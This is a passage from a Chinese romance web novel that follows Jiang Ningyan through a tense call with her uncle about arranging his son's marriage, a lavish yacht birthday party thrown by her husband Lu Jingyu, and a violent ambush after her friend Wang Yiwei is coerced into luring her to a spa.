江凝烟:“……” 陆京御真是,可惜了。 赵舅舅:“不过是看何澜年纪小,恋爱经历少些,干净些又漂亮些。” 江凝烟:“……” 江凝烟翻了个大白眼。 赵舅舅:“既然这样,那何澜也就算了,你身边还有没有别的小姐妹,你感觉性子好些,乖一些,能干些,优秀些的?最好知根知底,别恋爱谈了很多的那种。也别太娇蛮,吃不了苦的那种不行。” 江凝烟:“……” 性子好些?随你们揉捏? 乖一些?随你们欺负? 能干些?给你们一家上下当保姆? 优秀些?好让你们全方位压榨? 她虽然跟她的朋友不能算很有感情,但她不恨别人,不至于把她们往火坑里推。 吃不了苦不行,合着他也知道嫁给他赵临风有得是苦吃。 说到底你们赵家的传宗接代跟她一个外姓人有什么关系? 赵舅舅还想到了一个重要条件,“对了,得是独生女,有弟弟的有哥哥的不要。看着合适的,给你哥撮合撮合,先谈谈,要是谈得好,我们赵家会负责的。” 负责? 江凝烟真的快忍不住笑了。 她有几个朋友都反应过来了,男人娶她被称为负责任,这本质是在pua女性,让女人欢天喜地地嫁了。觉得是被负责了,其实,一旦被这种思想裹挟,就已经被降级了,变得低人一等。 负什么责? 结婚后去他们家,给他们生孩子,养孩子,跟他们姓,再伺候他们一家老小,就是对她们负责了? 她的朋友早想明白了,只要自己家的财产,谁要这些男人负责? 单身不爽吗?非得去让人负责,被人压榨些价值,给人家做贡献? “负责”这两个字实在太阴险太歹毒了。 不排除有些好男人也被贞操观洗脑了,觉得结婚是对女性负责。 但他舅舅这种分明就是打算趴在人家身上吸血的人,还说成是负责。 这嘴脸,真是没法看。 江凝烟说:“那有点难啊舅舅,我这边的朋友,基本上高中一毕业都谈恋爱了。没听见谁没谈恋爱。” 赵舅舅:“这事,你得上心。你看你姥爷待你不薄,给你找了这么好的老公。你哥的事你得上心。” 赵姥爷病得也比较突然,不是没物色赵临风的,只不过何家毕竟是女儿,比较慎重,只说处处看,不像陆家,一口答应下来。 赵舅舅又说:“你是女孩子,以后你哥混得好,一辈子都是你依靠。” 江凝烟真的憋笑憋得脸疼。 她? 依靠赵临风? 她真的会笑死。 她混不过赵临风,她以后就倒立行走。一个大男宝,连情绪控制都不会,还想有仕途? 赵家也就这十几年了,赵舅舅还能撑一阵子,也不会有她姥爷辉煌。 江凝烟敷衍道:“我这边真不一定有。您人脉比我广,您跟人家家长直接沟通也方便。” 赵舅舅语气有些不悦,但也无可奈何,“你留意下吧。” 江凝烟以为他要挂了,刚想松口气,他接着道:“对了,上次何澜生日宴,你哥好像跟陆京御起了点口角?” 他知道了? 赵临风肯说? 还是别人告诉他的? 江凝烟没出声。 赵舅舅说:“陆京御好像挺生气,就为了‘你哥让你给他拿块毛巾?’” 江凝烟:“……” 就为了? 他语气那么冲,态度那么差,这不该生气吗? 赵舅舅说:“你以后在外面,碰到这种情况,要机灵点,注意给两家维持体面。” 江凝烟真的快气死了。 赵临风情绪控制能力差,还是她的错?是她没注意好维持两家体面? 真的回到古代了,一亡国,就怪红颜祸水。 这么下去,以后赵家衰败下去,也是她的责任了。 江凝烟再也忍不住了,跟赵舅舅冷淡平静地说:“舅,你想过陆京御为什么会生气吗?赵临风在外面把我当丫鬟吼,当丫鬟使唤,你觉得陆京御就有面子?我觉得陆京御这辈子都没这么丢脸过。” 赵舅舅沉默片刻,说:“我跟临风已经说过了。你又不是不知道你哥的脾气,脾气上来了,谁的账都不买。” 江凝烟语气没什么情绪,说:“那您就上家法。我们赵家最讲规矩,给他立规矩,告诉他怎么在外面做人。不然他在外面再惹怒陆京御,陆家可不会觉得是我的错,只会觉得您管教无方,甚至会对您失望,影响两家关系。” 赵舅舅噎住。 江凝烟挂了电话,抬头,看见阴沉沉的天。 下午五点,不见夕阳,连日阴天,天气灰蒙蒙的,稀疏的阴云笼在头上,让人烦躁。 不做情绪的奴隶。 她不在意。 翻脸对她也没好处,这话已经够重了,下次赵临风再有什么问题别想把责任推卸到她身上。 搞笑。 自己没教好儿子。 她转身,却看见陆京御站在她身后。 她吓了一跳。 他听见她跟舅舅的电话了? 他穿了件黑色西装,色调暗沉,在阴霾的笼罩下更有种沉郁感,江凝烟莫名心慌。 他果然蹙眉问:“你舅舅居然还认为是你的错?” 如果连赵云杰都这样,那她在赵家的处境都不好? 江凝烟跑到他面前,晃着他手臂,若无其事地撒娇道:“你怎么来了?下班了?这么早?” 陆京御想问,但又觉得她不想说的事不该强迫她,说:“刚好在这附近办事,接你回家。” 江凝烟高兴,表情看起来是真高兴,“那我们回家!” 最近跟他是真的有些黏糊。晚上他晚饭前准时回家不加班,一整夜两人都待在一起,一般会在同一空间,各自工作或者学习到晚上九点,然后开始运动。 运动到十二点睡觉,还挺有规律。 两人手牵着手,在瑟瑟秋风中,衣摆蹁跹,并肩走了几步,钻进了温暖的车里。 “你生日刚好周末,想怎么过?”陆京御忽然问。 江凝烟都快忘了她的生日,往常都是跟朋友们过的。她从前过生日都很简单,家里就算虚情假意地问她要不要过,她也会拒绝,江家提出来,那是做给赵家看的,其实赵家也不大在意。 陆京御见她没说话,先说了自己的想法,“我妈在问,你生日要不要办个宴会。我跟她说长辈一起你可能会拘束。如果要搞宴会,我们找点朋友。” 这话深得她心。 生日搞得像应酬一样,跟太多长辈,反而过不好。 江凝烟说:“刚办过婚礼,又办生日宴,太麻烦了吧?” 陆京御说:“不麻烦。婚礼是婚礼,比起我们俩,别人更关注的是我们家族。但你生日宴不一样,能表现出我对你的重视。” 他支着下颚,侧脸看着她,笑道:“这是我们结婚后你第一个生日,我的意思是……大、办、特、办。” 江凝烟瞳孔微微一放。 劳斯莱斯的流光下,陆京御的脸绚丽又灿烂,声音听起来有几分热意,“盛大到轰动整个京城。” 他就要所有人看到,他有多重视她,让赵家看到,让江家看到,让京城那些嚼舌根的人看到。 让所有人知道,江凝烟是他捧在心尖尖上的人。 “烟烟,我要给你一个史无前例的盛大生日宴。” 40-50 第41章 “就是她了,这辈子就是她了。” 两人回家, 陆京御就坐在卧室的沙发上准备生日宴会。 她先列了朋友名单,列完,陆京御看了眼, 没看见赵临风的名字。他内心颇为满意。就怕她为了维持表面关系委屈自己,倒是还好,这种热闹的生日宴没叫他。 江凝烟当然不叫赵临风, 要是有人问起, 她就说他有事。她才不会上赶着讨好他呢。她可没功夫去伺候拽爷。江家那是更没叫, 她叫了些平时比较友好的朋友。 陆京御也列了一个名单, 问她有没有不喜欢的人, 两人商量着把名单定下来。 做了电子请帖。 两人分别发给朋友们。 这个步骤在结婚的时候也做过, 但,那时候她完全像是完成任务,对方礼貌地恭喜她礼貌地回复。这次发着发着,会发现朋友恭喜祝贺的字句不是灰白的,好像有了色彩。 陆京御那天安排私人飞机, 大家一起到海边, 他的豪华游轮上, 举行宴会。 毕竟不是在京城办, 她就跟人家多说了几句, 说麻烦她们跑那么远。 但是她们都很热情很激动。 【天呢!这是陆总?海边游轮庆生?我丢, 我还以为你老公帅是帅,但是个无趣工作狂, 只会让助理给你买珠宝呢!】 江凝烟:【这不怪你, 我也这么认为。】 随手让助理买个珠宝, 最多让阿姨准备个蛋糕,她也这么认为。 【他到底是怎么样的啊?会疼人吗?】 江凝烟毫不犹豫地回复:【会, 很会。】 【我的天呢,他会?他也没有恋爱经验啊,他居然会疼人。】 江凝烟说还没回复,对方就立刻道:【不过,这可能真不需要经验,要的就是放心上,真心爱而已。】 江凝烟看着这条微信,微微愣了下神。 真心爱吗? 这有点不可思议,江凝烟甚至有些不敢过多去揣摩。 就好像一个小孩得到了最想要的零食,但不敢吃,深怕吃掉了就没有了。 但愿这零食不是雪糕,不吃,看着,就化了,没了。 江凝抽神回复她:【是的。他主动要办的。那到时候麻烦赏光。】 后面她联系的很多朋友,大多数都是这个反应。 发一个这么来一下,次数多了她也觉得甜蜜,忍不住就想笑出来。 转头看陆京御。 陆京御坐在沙发上,袖子卷到手肘,鼓起的血管清晰,劲瘦有力。乌黑的发与眉,冷白的皮肤,浓淡适宜。手机光线映在他眼底,浸着笑意。 他也在笑。 刚好有个电话进来,可能是他朋友。 陆京御声音很好听,声线像是冰泉凉凉的但叮叮咚咚,“上次婚礼仓促,还没让你们好好见见。” 那人不知道说了什么。 他低笑一声,手指敲了两下自己的唇角,说:“当然喜欢。” 江凝烟心里像是被小溪流淌过,上面小鱼儿也欢快游动,尾巴撩动的水流抚得她心痒痒。 他微低头,忽然又笑了一声,“别闹,在边上呢。” 江凝烟来了兴致,有什么不能让她听的? 她屁股往他边上挪了挪,听到一点点声音,对方在说:你得告诉我们多爱啊,这样我好知道给嫂子准备什么等级的生日礼物。要是你爱惨了,我得准备贵重点。 陆京御感觉到她的靠近,低头勾着唇,忽地伸手扣住了她的手腕,把她拉来腿上,手臂横住了她的腰肢。 他黑眸注视着她,直勾勾的,眼底映满了她。 “那你把你压箱底的宝物拿出来吧。” 江凝烟倒吸一口气。 “很爱。” 江凝烟心脏像是停住了,漏跳一拍。 “就是她了,这辈子都是她。” 江凝烟眸底光晕浮动。 挂掉电话,陆京御眼神温柔地注视着她,跟她说:“多带几个箱子,他们都会送礼物。” 江凝烟回视着他,默不作声。 尽管她三番五次说明了,她随时可以提离婚,但是他还是把她当成一辈子的妻子,跟朋友说明,甚至要他们都准备贵重的生日礼物。 陆京御说:“他们送你的都归你。以后回礼我会回的,不掏你的金库。” 江凝烟还没回话,陆京御的电话又响了。 他的朋友笑他:“京御,你好意思啊!过个生日居然要压箱底的礼物?生日诶,只是一个生日居然要压箱底的宝物,你知道我们压箱底的宝物都是什么的啊。” 这大概是关系特别好些的朋友。说话听起来很亲密。 陆京御拖腔带调地说:“拿出来,我会回礼的。排面少一点都唯你们是问。” 他朋友不满地叫道:“这时候知道要叫兄弟撑场面了,一个月都叫不出来!我们这都被抛弃了!” 陆京御淡笑一声:“你好意思啊,跟我老婆比?” 对方哇哇大叫。 江凝烟:“……” 噗嗤,江凝烟忍不住笑出声。 不知道为什么,他们分别在讨论非常奢侈的物品,可却莫名有烟火气息。好像一个寻常的丈夫跟他的朋友要送给他老婆的生日礼物。 陆京御挂掉电话后,看着她眉眼弯弯,想忍住笑又忍不住的样子,觉得很甜。 她不好意思地说:“压箱底的宝物那很贵吧?这么多人,你回礼会花很多钱。” 陆京御说:“除了御洲小誉他们,还有四个朋友特别好,只让他们拿特别贵重的。” 江凝烟望着他。 如果这样的话,今年她的生日礼物价值不可估量。 陆京御婆娑着她的手背,说:“我平时不爱收藏珠宝,最近我给你拍了一件,觉得不够,但别的也没有看得上眼的,只好让他们把宝物贡献出来。” 江凝烟无声地抱住他。 墙壁上两道影子紧密交缠。 — 海湾边停靠着豪华游艇,长超过百米,高数十米,线条流畅得像是外星人遗留的。沿岸连绵的火树银花串成长龙。点着灯光的游艇傲立在波光粼粼的海面上,璀璨又巍峨。 晚上六点。 宾客到了,游艇霓虹变幻,喧嚣声不绝于耳。 江凝烟穿着一身镶满了粉色钻石的礼服,是最近陆京御说要让衣服塞满柜子之后买的。粉钻很珍贵,每年数以百万的钻石开采中,仅有万分之一是粉钻,居然就镶嵌在衣服上。 游艇里的华丽的灯光照在她身上,更加流光溢彩。悠扬的音乐已经响起,著名歌手低沉醇厚的嗓音已经飘荡在甲板上。 陆京御挽着江凝烟的手,从厅里走上甲板,进入所有人的视线。 “哇!生日快乐!” 朋友们涌上来,在他们两三米距离围着,手上都拿着精致的礼物。 王亦薇:“天呢!我的公主!太漂亮了!啊啊啊啊!生日快乐!永远的姐妹,爱你一生!” 江凝烟:“谢谢。” 何澜:“宝贝!啊啊啊啊!生日快乐!够排面!礼服好漂亮好漂亮!美呆了!永远的姐妹!” 江凝烟:“谢谢。” 宋枝意递给她礼物,“今天必须狠狠夸一下陆总,干得漂亮!生日快乐啊烟烟,永远幸福永远漂亮永远做最最闪亮的自己!永远的姐妹!” 江凝烟:“谢谢。” 裴清誉:“嫂子,以后有事万一找不到御哥,他在忙,就立刻找我啊,跑断腿也给你办!” 江凝烟噗嗤一声。 裴清誉笑,“生日快乐嫂子!你永远是我亲嫂子了!” 江凝烟说:“你也永远是小誉哥。” 陆京御几个拿了压箱底珠宝的朋友,上前,说:“某人为了表示重视,要我们拿压箱底的礼物,说是会回礼的,就冲他这句话,你肯定是我们一辈子的嫂子了!” 众人大笑。江凝烟也笑得乐不可支。 “生日快乐嫂子!天天快乐!一生幸福!” 祝福与掌声,音乐与笑声,海浪与涛声,此起彼伏。 江凝烟忽然觉得有点不一样。说不清楚哪儿不一样。 就是心里冒出来一个想法,世间数十亿人,人和人或许不一样。 灯光打在陆京御身上,陆京御从口袋里掏出一个红色的小盒子,打开,是一枚艳彩粉色的钻戒。即使江凝烟也不喜欢研究珠宝,都知道看这色泽,这价值得好几亿。 今晚明月如钩,低低挂在海面,悬在陆京御的头顶,海风吹起他的乌发,发梢的光晕轻盈又温柔。 他垂眼取出盒子里的戒指,套入她的手指中。 江凝烟低头看着在夜色中闪耀的戒指,没说话。 潮湿的海风吹在江凝烟的脸上,她的心头也变得湿湿的。 算上他朋友给的礼物…… 陆京御,她过个生日居然花掉几十亿。 疯了吧。 江凝烟是个挺实际的人,实际到确实会用钱来计算重视程度。陆京御无疑超标了,她都不敢置信。 陆京御帮她戴完后,抬起她的手,重重地吻了下她的手背,吻的时候眼睛一直直勾勾地注视她,“生日快乐,老婆。” 江凝烟这才发现,他长了一双很多变的眼睛。初看的时候以为冷漠高傲,如今再看却像是一双会爱人的眼睛。 澄澈、明亮、炙热。 眼里的爱意是游艇的霓虹灯也染不了的清澈。 “嘭!嘭!嘭!”天空炸开了绚丽的烟花,层层叠叠,此起彼伏地铺满整个夜空。 “哇!!!”周围的人发出一阵快要扯破喉咙的尖叫。 陆京御揽着她的肩,立在烟花下,他清隽温柔的脸在烟火下明灭,黑眸却一直很亮。 第42章 会再次被骗吗 盛大的生日宴后, 江凝烟回到正常的生活。 她今天在学校发现王亦薇的状态不对劲。 碰到的时候,元气少女对她露出十分牵强的笑容。那唇角像是被钩子勾住的蚊帐,僵硬、惨白还干裂成一棱一棱。 “怎么了?跟林嘉宇吵架了?”江凝烟问了一声, 目光转向林嘉宇。 林嘉宇面色烦躁得很,“我真没惹她。” 王亦薇朝江凝烟又笑了下,努力显得不僵硬, “还能是谁惹我。” 林嘉宇炸了, “姑奶奶, 我哪儿惹你了?” 江凝烟蹙眉, “你说了什么惹她伤心了?还是别的女生跟你表白了?” 林嘉宇:“表白那不是常有的事吗?我都天天跟人在一起了, 还有人表白那我有什么办法?” 王亦薇挤出笑, “烟烟,有空吗?” 江凝烟说:“看你什么事。” 她真的难过了,想跟她讲悄悄话她就去,没事纯瞎玩她就回家陪陆京御。 王亦薇没再继续说话,低头犹犹豫豫地说:“只是想……想找你聊聊放松下……” 林嘉宇已经彻底忍不住了, 一把拉过王亦薇的手, 把她拽出去。 王亦薇当场发了火, “林嘉宇!!!我就想跟朋友单独聊聊你也要管我?!是男朋友就可以这样剥夺我的时间?!你要是这样, 就不用当我男朋友了!” 所有人的视线都被她撕心裂肺的声音吸引过来。 林嘉宇被她吓了一大跳, 神情懵懵地注视着她。 王亦薇低头, 眼尾潮红,眼泪在眼眶里打转。 她咬住下唇, 站起身就跑, 说:“别跟过来!” 林嘉宇整个人像被抽空了, 立在那。 江凝烟自然而然地跟上去追她。 王亦薇低着头走,默不作声, 只是眼泪啪啦啪啦掉。 江凝烟跟上她,搭上她的肩,问她,“去哪儿玩啊?酒吧不去了,答应过陆京御要去跟他一起去。” 王亦薇坐上她的迈巴赫,“去这家泡温泉,顺便做个spa。” 司机把她们送往那儿。 路上,江凝烟问她,“林嘉宇招人也不是一天两天了,今天怎么这么激动,受什么刺激了?” 王亦薇放在膝盖上的拳紧紧握紧,臂膀颤抖起来。她沉默不语,就是鼻尖红红的,眼眶也泛起湿润,紧接着眼泪大颗大颗落下来。 江凝烟啧了一声,安慰道:“他心里只有你,别难过。这个表白的姑娘有什么特别的?让你觉得不舒服了?” 王亦薇哭得更厉害了,却是一个字都说不出口。 江凝烟一路给她递纸巾。 很快泡温泉的地方到了。 这儿装修雅致,隐约能听到山间叮咚泉水声,很幽静,人很少。 毕竟是泡温泉和做spa的地方,男士止步,只接待女宾,所以江凝烟让她的保镖们在外面候着。 前台没有人,甚至都没见什么服务员。 也可能是都在spa间干活了。 王亦薇低头看了下手机,说:“我们先泡温泉?” 江凝烟跟着她,跟到中途的时候,她忽然想起吴雪雯,曾经也这样把她带到一个偏僻的地方。 经历过,所以她对人少陌生的地方特别警惕。 她惶惶地注视着王亦薇的背影,眼神空空的。 王亦薇肯定是出事了。 她这种状态是非常心烦意乱。 她可以断定,她遇到了非常严重的事。 她说是因为感情困扰,但林嘉宇这人,路过的狗都知道他心里只有王亦薇,应该不至于出轨背叛。 而且林嘉宇非常理直气壮,甚至不知道她为什么生气。如果是出轨这么严重的事,王亦薇早就闹分手了,他不可能不知道。 那问题来了。 王亦薇一个大学生,能碰到什么让她慌成这样的事? 而且,她还假装是为情所困? 她家庭幸福。父母都是高知,从事的都是没什么风险的工作,房子是祖上传下来的四合院,家里一家三口都没养成什么不良习惯,父亲大学教授,母亲是个医生,她自己也从来不会乱花钱,不会突发什么经济问题。 到底是谁让她这么心神不宁?这么难过?哭成这样? 肯定不是林嘉宇,但她却伪装是林嘉宇。 她说:烟烟,你有空吗? 江凝烟心猛地坠入冰窖。 有空吗? 有空,然后叫她来这儿了。 该不会……有人……让她把她引到这儿来吧? 江凝烟浑身一冷。 当年吴雪雯,就用借口把她引到了无人的地方,差点把她杀了。 只是,王亦薇的演技实在太差了。 她太善良了,一直在哭,不说话。 不说话是因为她不想骗她,骗不出口。 一直哭是,受胁迫了?把她骗出来她也难过? 如果真是把她骗出来,会是谁? 谁想害她? 警方还没恢复手机数据,他们谁都没有被指控,都在外面瞎逛。 那么谁更有可能? 事后她爷爷肯定会甩锅,他要甩锅的话甩给谁比较方便? 装修工干这事的动机绝对是为了钱,一个老婆带着孩子离他而去的男人,活得过于挫败,孤注一掷,想给孩子弄点钱? 会是那个装修工吗? 他似乎不容易甩锅,当时伪装意外万无一失,但警方已经怀疑是故意,她爷爷得注意切断证据链,再冒然让他杀她,万一再留下证据直接就定了他们是合谋。 他要是再用装修工容易搭上自己,可以用别人的情况下,他是不会出此下策的。 如果不是装修工,那会是谁? 吴浩? 吴浩外面负债累累,日子不好过,他干了缺德事哪怕出来也是东躲西藏。他最好的办法是拿了钱,偷渡到国外。 让他杀她甩锅容易些,可以说他就是她害女儿坐牢,所以想杀她。 但他这样把她引过去杀了,陆京御找不到她,立刻会知道。这儿到最近的码头都得三个小时,偷渡成功的可能性太低了,他还是寄希望于她会要那个证据,给他钱来得实在。 他现在只要钱,让他杀人太难控制了,毕竟她也有钱。 那会找谁,又可以完美甩锅? 那些失去孩子被警察扣住的人? 江凝烟猛地指尖一颤。 当初除了真的伤到陆京御的还被扣着,中后排好多人后来并没有被追究责任。 警方已经放了。 她觉得吴雪雯是凶手已经确定了,就没再多关注他们。 会不会又被煽动了? 甚至误会是她爷爷把她弄出来的? 警方是在偏袒她,随便帮她找了两个背锅的? 要是她爷爷给出了什么暗示,让他们误认为是她爷爷帮她弄出来的,那她就说不清楚了。 她爷爷想杀她的事,只有吴雪雯和她爸爸知道。 这么多人不排除有人偏激。 她爷爷手里能用的牌实在太多了。 她察觉到了危险。 她只带了两个保镖。 因为跟王亦薇坐一辆车,只剩两个位置。 不知道外面的两个保镖,有没有被控制住。 她不确定王亦薇现在如果发现她知道了,会不会喊埋伏的人出来,她暂时隐藏,不动声色地放缓脚步,给陆京御发了个定位:【我被王亦薇带来没人的地方,怕有危险】。 这时,王亦薇好像在找门牌号。 江凝烟把手机放在口袋里,静音拨打了陆京御的电话。 她思索接下来该怎么做。 王亦薇……她真会这么做? 真的也要把她骗出来杀? 她感到了熟悉的刺痛感,那种厌世、被抛弃、被舍弃的痛楚席卷而来。 她这才发现,她总是说什么都无所谓,谁都可以不要,对谁都没感情,但真当这种事情发生的时候,心竟然像是被剥开了。 十多年的相处。 最困难时的相遇。 她逃命时翻墙跌落王家,那一刻开始,她跟王亦薇的命运产生了交集。 王亦薇是个元气少女是颗小太阳。她独自在病房的时候,她来看她,跟她说不要害怕,坏人已经抓起来了。 分明大人也说了这句话,但她就是觉得王亦薇的话有点治愈能力。 大概就是真诚和虚伪的区别。 她何其敏感,她能察觉到王亦薇的真诚。 她腿疼不能去学校,她每天都过来跟她说老师布置了什么作业,还叮嘱她不要偷懒,腿疼也得写作业,不然就跟不上了,后果很严重。 她那时候每天怕死得要死,根本无心学业,王亦薇每天都会检查她的作业,错了还要让她订正。 别人她会觉得烦。 奇妙的,王亦薇,她不会觉得她烦。 拜她所赐,她赖在病床上上百天也没耽误学习。 后来腿伤好了,一起上下学,一起上厕所,渐渐的,每个生日、节日、人生重要的日子,都有王亦薇。 十多年相处非常愉快。 王亦薇很好相处,很注意别人的感受,人温和得几乎不会跟她产生冲突。 这是第一次她们产生冲突。 居然,会这么残酷。 她会被再一次伤害吗? 她一直哭,但还是带她来这儿,是不是家里人被绑架了? 不带她来或者报警都会被撕票?甚至连林嘉宇都不能来?所以演那么一出? 这时候,她该怎么自救? 如果她只是有什么心事出来找她玩,她冒然攻击她,她们两人间也彻底碎了。 况且,这地方或许已经有他们的人,她可能已经如瓮中捉鳖。 把她往里面带,是让她更难逃。 这时候王亦薇察觉她走得慢了,转头,哭肿的核桃眼看着她。 江凝烟静静跟她对视。 新风系统的凉风从脚底上吹起,气流逆向冲撞,像是她们俩之间的暗流。 第43章 又是一声枪响 王亦薇两条眼泪流下来。 看着江凝烟, 也不说话,也不进去。 眼神里满满的绝望与不忍。 江凝烟心脏发麻,从她的眼神中获取了太多信息。 恐惧与失望将她吞没, 她咬了下下唇,战栗地想:她是知道她被骗杀过的…… 从今以后,就不再是朋友了。 她不是个宽容的人。 她知道她有苦衷, 她知道是她连累的她, 她都理解, 但她真的接受不了再次被骗杀。 王亦薇是知道她的经历的, 还这样选。 哪怕她是天大的苦衷, 她也没法接受。 江凝烟的眼睛赤红, 眸底破碎又绝望。 她发现潜意识里她也期待王亦薇像治愈林嘉宇一样治愈她,但终究这样的好事轮不到她头上。 王亦薇眼泪流得更凶,好像读懂了她的眼神,她一咬牙,跟她说:“快跑!对不起, 烟烟!” 江凝烟没有丝毫犹豫, 在阴暗潮湿的长廊里奔跑。 她凌乱的脚步声和剧烈的喘息声在长廊里回响。 不过几步, 长廊里传来更多凌乱的脚步声。 好多人从包厢里涌出来, 像黑暗的巨浪一样扑向她。 “都别碰她!”王亦薇在身后焦急大喊, 好像没想到是这种情况。 江凝烟脚下没停, 她眼睛看着不远处吧台前面的厅,只想着不知道那门还打得开吗? 是个玻璃门, 如果打不开, 她有时间砸开吗? 还有没有别的出口? “放她走!不然警察马上就到!你们一个都跑不了!”王亦薇威胁道。 有个男人凶狠地说:“你妈的命你不要了?” 王亦薇几近崩溃地嘶喊道:“你们说只要她赔钱的!” 江凝烟奔跑的脚步一顿。 赔钱? 怎么可能只赔钱? 这帮人甚至不肯让她轻易死了, 恨不得把她千刀万剐。 他们说不定都约定好了,活捉, 每人给她来一刀泄恨。 跑。 她一定要逃跑。 落在他们手里,生不如死。 “你们说只要她赔钱,现在什么架势?!你们别动她!她伤了一点,警察就马上会到!”王亦薇哭喊道。 “啪!”的一声,伴随着一声王亦薇的尖叫声! 她看见她被人打了一巴掌,摔倒在地上。 江凝烟瞳孔一缩,转头看她。 王亦薇含泪的视线撞上她的眼,“快跑!别管我!快跑!” 江凝烟路过沙发边,顺手捞起一把轻奢风的椅子。 这张椅子四只脚都是金属的,不知道能不能砸开门。 男人掐着王亦薇的脖子把她撞在墙壁上,“你做了什么手脚?为什么警察马上就到?你个不孝子,连你妈的死活都不管了?” 江凝烟这时终于跑到门厅,门果然已经被锁住了。 她转头看看王亦薇,她呼吸都费力,说话很困难,但是恶狠狠地说:“现在开始,每隔两分钟,就会有一条定时消息发到我朋友的手机上,他接到消息会立刻报警!除非我解除发布!” 江凝烟脊背发凉,心脏在抽痛。 傻子。 这个傻子。 说这种话,是想生不如死吗? 她知道这种话一出,她这两分钟会经历什么吗? 他们会无所不用其及地逼她把这些消息全部删掉,会折磨她,会让她生不如死! 虽然只有两分钟,但是,两分钟足够让她经历难以忍受的痛苦! 这帮人现在穷凶极恶,不知道会怎么对付她! 江凝烟心里拔凉拔凉的,像是被条毒蛇盘旋在心脏上,瞪着眼镜,吐着蛇信子盯着她。 怎么办? 她现在要是转身去救王亦薇,她们两个一个都跑不掉! 本来不关王亦薇的事,他们不会对她怎么样,现在她这么说,这帮人这两分钟是不会放过她了。 “放她走!放我妈走!我把报警取消了,这件事我们就当没发……啊!”王亦薇的说话声转成凄厉的尖叫! 她的肩膀被插了一把刀。 鲜血从她的肩膀飙射到男人的头套上。他眼睛变得鲜红。 “把这些都取消了!”男人声音阴狠地逼迫道。 江凝烟看见王亦薇痛得脸色惨白,冷汗淋漓。 王亦薇的视线也看过来,她的眼眶里蓄满了泪。 江凝烟甚至看不见她的眼珠,漆黑的眼眸在水中淡化,眼泪流进嘴里,她说:“对不起……快走……” “嘭——”江凝烟转开眼,狠狠砸了一下玻璃门。 但这玻璃门竟然钢化强度非常强,相反,她的椅子的脚金属却相当柔软,纤细的金属脚直接弯了,都没砸开那玻璃门。 草。 这玻璃,硬度那么强,连个裂缝都没有。 眼看这些人越跑越近,这一下就定生死了。 再砸不开,她就会死在这儿! 被他们千刀万剐,分尸抛尸! “嘭——”江凝烟使出浑身的力气用椅子再砸了一次。 玻璃门狠狠地震动,像弹簧一样,却依旧没有丝毫裂痕。 王亦薇冷笑着对那那人说:“把这个门打开!也让我看见我妈安全离开!否则,第一条报警消息就出去了。啊!” 她肩膀上的刀被转了一下,她痛得浑身抽搐,脸上的冷汗像是被雨淋了一下落下来。 然而江凝烟也没功夫管王亦薇,一个男人扑向她。 她只能椅子砸他。 这个男人看起来已经有些年纪了,估计是孩子的爷爷或姥爷。 这个世界上,有的人可以为了孩子死,有的人却希望自己孩子死。 人跟人的差别真是大。 江凝烟默默地在心里许了个愿:如果今天她难逃一死,来世让她投胎在一个爱她的家庭里。 不管钱多钱少,够花就好,被爱的孩子就是很幸福。 她心里抽痛了一下。 想到,自己如今连王亦薇都失去了。 经过今天,就算她们都活着,她也失去了一个朋友。 她是个自私的人,大概永远都无法原谅,也无法再跟王亦薇敞开胸怀。 这么多年。 她就只有这么一个小太阳般的朋友。 没有了。 她只剩陆京御了。 她心里腾升出一股怒气,“你们以为谁都像你们一样爱孩子啊!” 来抓她的男人忽然愣了一下。 “吴雪雯当年就想杀我,第一次没成功!第二次是我爷爷指使她来杀我的!”她嘶声竭力地喊道。 空荡的客厅里回荡着她颤抖又愤怒的声音,回声像是锤子一样咂进所有人心里。 所有人的动作都停止了。 来抓她的男人愣住。 “根本没人会来捞我!”她双眼赤红,“我家,没有一个人管我!没有一个人会管我!!!” 客厅里有一瞬间寂静。 但另一个男人扑上来,绝情冷笑道:“不管究竟是不是你杀的,反正也搞不清楚了!你死了,我们的仇一定报了!你没死,说不定我们的仇还没报!” “呵……”江凝烟冷笑。 好好好,全要她死。 都想她死。 “烟烟……对不起……”王亦薇在哭在道歉。 又有什么用呢? 她要死在这儿了。 逮着王亦薇的那个男人也回过神来说:“对!我们要的是万无一失!” “呵……”江凝烟冷笑,表情阴鸷。 她知道跟他们多费口舌已经毫无意义,他们一共三个,只能搏一下,哪怕最后能快速死掉,也是胜利。 “啊——” “快把那些消息撤了!”那男人还在逼着王亦薇。 江凝烟想,最后的几十秒钟,如果她横竖得死,起码能让王亦薇好过一点点。 现在反正跑不了了! 江凝烟一弯腰,像离弦的箭般朝王亦薇的方向跑去,“放开她!” 男人根本不理,逼着王亦薇,“快点!” “她撤了也没用了!我早知道这是陷阱,我老公已经知道了!现在警察或许已经将这儿团团围住了,你们逼她有什么用?”江凝烟说。 搅动王亦薇肩头的刀一顿。 王亦薇浑身的哆嗦还没停,眼泪汪汪地看着她,哭着笑了,声音虚弱,脸色惨白,“你走啊,别管我。” 江凝烟已经不能再把她当朋友了,但这事因她而起,王亦薇最后也没舍得下狠手,甚至在妈妈被绑架的情况下,也想了万一情况有变自动报警这个办法尽力保全她。 江凝烟觉得她已经尽力了。 不怪她。 理智上知道不怪她,甚至知道她也是受害者,但冷漠自私如她,心底是永远无法接受这个结局。 她没有这么宽容,她最恨被人骗过来杀。 她最恨被人利用她的信任。 尤其,她曾对王亦薇有期待,期待她们是永远的朋友。 期待阳光也能施舍一点光泽给她。 但,没有。 她又被舍弃了,又被骗了。 即便如此,她还分是非,也懂权衡,这时自己八成要没命了,不如让王亦薇好过一点,不要让她受更多折磨。 “你们想过,如果我家里人真的为我报仇,你们进监狱是什么后果吗?你们真的不害怕吗?”江凝烟看着他们森冷地笑了一声。 几个人顿住。 “也不知道你们受不受得了真正的生不如死呢。”江凝烟的目光比蝎子还毒。 “怕了?”江凝烟心脏怦怦怦直跳。 果然,加害别人的时候,是爱孩子的。 但自己真的被折磨的生不如死的时候,就要看这份爱经不经得起考验了。 都受不了吧? 谁能保证自己是个硬骨头? “你们现在走,我们可以当这事没发生。否则,你们见过我老公吧?”江凝烟笑了一声。 三人面面相觑。 其中一个男人,喊了一声,“你们先走!我把她杀了再说!” 三人目光又变得凶狠,似乎想一起控制住她。 江凝烟内心一凛。 “烟烟!”王亦薇凄厉地喊,胸口的刀被拔掉,然后软倒在地上。 一把冷利的刀抵在江凝烟脖子上,几乎是同时,“嘭——” 陆京御带着人破门而入。 大门碎了一地,满地的颗粒乱溅。 陆京御带了十来个保镖浩浩荡荡地闯了进来。 江凝烟心里一喜。 他好快! 他们这会儿纠缠不过三五分钟时间,他竟然就到了! 比警察都快! 坐着直升机过来的? 江凝烟的眼眶像是被热气蒸了,又热又湿。 